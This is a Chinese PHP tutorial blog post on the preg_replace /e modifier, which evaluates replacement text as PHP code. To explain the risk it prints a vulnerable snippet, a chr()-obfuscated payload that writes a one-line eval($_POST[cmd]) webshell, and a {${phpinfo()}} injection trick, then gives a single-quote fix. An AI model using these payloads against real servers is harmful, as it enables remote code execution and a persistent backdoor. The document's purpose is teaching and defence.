慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
DOMXML函数笔记
Oct 09 PHP
一贴学会PHP 新手入门教程
Aug 03 PHP
深入理解php的MySQL连接类
Jun 07 PHP
php打开远程文件的方法和风险及解决方法
Nov 12 PHP
php中sprintf与printf函数用法区别解析
Feb 17 PHP
解决CodeIgniter伪静态失效
Jun 09 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(三)
Jun 23 PHP
修改ThinkPHP缓存为Memcache的方法
Jun 25 PHP
ThinkPHP页面跳转success与error方法概述
Jun 25 PHP
php计算2个日期的差值函数分享
Feb 02 PHP
PHP实现通用alert函数的方法
Mar 11 PHP
PHP基于redis计数器类定义与用法示例
Feb 08 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
杏林同学录(三)
2006/10/09 PHP
php和mysql中uft-8中文编码乱码的几种解决办法
2012/04/19 PHP
给ECShop添加最新评论
2015/01/07 PHP
php的GD库imagettftext函数解决中文乱码问题
2015/01/24 PHP
基于php实现随机合并数组并排序(原排序)
2015/11/26 PHP
CentOS系统中PHP安装扩展的方式汇总
2017/04/09 PHP
php检查函数必传参数是否存在的实例详解
2017/08/28 PHP
PHP+jQuery实现双击修改table表格功能示例
2019/02/21 PHP
Laravel 默认邮箱登录改成用户名登录的实现方法
2019/08/12 PHP
js调试工具 Javascript Debug Toolkit 2.0.0版本发布
2008/12/02 Javascript
range 标准化之获取
2011/08/28 Javascript
javascript中兼容主流浏览器的动态生成iframe方法
2014/05/05 Javascript
JavaScript开发人员的10个关键习惯小结
2014/12/05 Javascript
AngularJS入门教程(二):AngularJS模板
2014/12/06 Javascript
简单介绍jsonp 使用小结
2016/01/27 Javascript
使用postMesssage()实现iframe跨域页面间的信息传递
2016/03/29 Javascript
JS识别浏览器类型(电脑浏览器和手机浏览器)
2016/11/18 Javascript
jQuery实现搜索页面关键字的功能
2017/02/16 Javascript
Angular动态添加、删除输入框并计算值实例代码
2017/03/29 Javascript
AngularJS实现的回到顶部指令功能实例
2017/05/17 Javascript
JS秒杀倒计时功能完整实例【使用jQuery3.1.1】
2019/09/03 jQuery
node省市区三级数据性能测评实例分析
2019/11/06 Javascript
Python二分法搜索算法实例分析
2015/05/11 Python
详解Python 数据库 (sqlite3)应用
2016/12/07 Python
OpenCV 轮廓检测的实现方法
2019/07/03 Python
python 实现两个线程交替执行
2020/05/02 Python
Python selenium爬虫实现定时任务过程解析
2020/06/08 Python
Python操控mysql批量插入数据的实现方法
2020/10/27 Python
python自动生成sql语句的脚本
2021/02/24 Python
时尚设计师手表:The Watch Cabin
2018/10/06 全球购物
LORAC官网:美国彩妆品牌
2019/08/27 全球购物
服务行业个人求职的自我评价
2013/12/12 职场文书
买卖协议书范本
2014/04/21 职场文书
2014年商场国庆节活动策划方案
2014/09/16 职场文书
消防隐患整改通知书
2015/04/22 职场文书
WebWorker 封装 JavaScript 沙箱详情
2021/11/02 Javascript